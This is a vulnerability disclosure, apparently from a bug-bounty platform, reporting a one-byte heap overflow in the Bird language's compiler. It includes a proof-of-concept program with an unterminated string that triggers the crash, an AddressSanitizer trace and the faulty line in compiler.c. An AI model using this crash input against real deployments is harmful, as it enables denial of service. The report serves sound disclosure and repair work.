Out-of-bounds Write in mcfriend99/Bird

Valid
Reported on May 29th 2021

✍️ Description

Heap-based 1-byte write violation. Certain programs can cause the parser/syntax-checker to write out of bounds. The below program writes a single byte out of bounds.

🕵️‍♂️ Proof of Concept

Program:

var a = 'outer'

def test() {
  var a = 'inner'
  echo 'It works! ${a}'
}

echo a

echo test
test()

def test2(name, age, ...) {
  echo name
  echo age
  echo __args__
}

test2('Richard', 20, 'James')

def sin(n) {
  if n {
var t = n, sine = t
 iter var a = 1; a < 24; a++ {
  var mult = -n * n / ((2 * a + 1) * (2 * a))
      t *= mult
      sine += t
    }

return sine
  }
  return nil
}

echo"sin()
echo 'Sin 10 = ${sin(10)}'

Program Output:

6
SyntaxError:
    File: /testfile2.b, Line: 36
    Error: unterminated string (opening quote not matched)
malloc(): invalid size (unsorted)
Aborted (core dumped)

Vulnerable code:

/src/core/compiler.c : line 1094: str[k] = '\0';

Step through the code in a debugger, you will notice that the above line has an off-by-one error. This can be prevented by bounds-checking before writing the null byte.

Crash dump (ASAN compiled+GDB):

==687366==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006d15 at pc 0x555555571bd9 bp 0x7fffffff9350 sp 0x7fffffff9340
WRITE of size 1 at 0x602000006d15 thread T0
    #0 0x555555571bd8 in compile_string src/core/compiler.c:1094
    #1 0x555555571c60 in string src/core/compiler.c:1099
    #2 0x555555572119 in parse_precedence src/core/compiler.c:1308
    #3 0x5555555722af in expression src/core/compiler.c:1324
    #4 0x555555573c1b in compile_var_declaration src/core/compiler.c:1512
    #5 0x555555573cb4 in var_declaration src/core/compiler.c:1528
    #6 0x555555576809 in declaration src/core/compiler.c:2192
    #7 0x555555576f49 in compile src/core/compiler.c:2272
    #8 0x5555555ab457 in interpret src/core/vm.c:1964
    #9 0x5555555abd64 in run_file src/core/bird.c:157
    #10 0x5555555abfd8 in main src/core/bird.c:180
    #11 0x7ffff73b50b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    #12 0x55555556b7ad in _start (/Bird_plain/build/bird+0x177ad)

0x602000006d15 is located 0 bytes to the right of 5-byte region [0x602000006d10,0x602000006d15)
allocated by thread T0 here:
    #0 0x7ffff768dbc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
    #1 0x5555555715b0 in compile_string src/core/compiler.c:1023
    #2 0x555555571c60 in string src/core/compiler.c:1099
    #3 0x555555572119 in parse_precedence src/core/compiler.c:1308
    #4 0x5555555722af in expression src/core/compiler.c:1324
    #5 0x555555573c1b in compile_var_declaration src/core/compiler.c:1512
    #6 0x555555573cb4 in var_declaration src/core/compiler.c:1528
    #7 0x555555576809 in declaration src/core/compiler.c:2192
    #8 0x555555576f49 in compile src/core/compiler.c:2272
    #9 0x5555555ab457 in interpret src/core/vm.c:1964
    #10 0x5555555abd64 in run_file src/core/bird.c:157
    #11 0x5555555abfd8 in main src/core/bird.c:180
    #12 0x7ffff73b50b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)

SUMMARY: AddressSanitizer: heap-buffer-overflow src/core/compiler.c:1094 in compile_string
Shadow bytes around the buggy address:
  0x0c047fff8d50: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fd
  0x0c047fff8d60: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa
  0x0c047fff8d70: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fa
  0x0c047fff8d80: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fd
  0x0c047fff8d90: fa fa fd fa fa fa 00 fa fa fa fd fa fa fa 02 fa
=>0x0c047fff8da0: fa fa[05]fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8df0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==687366==ABORTING

💥 Impact

This write violation may lead to memory corruption and potential crashes (denial of service).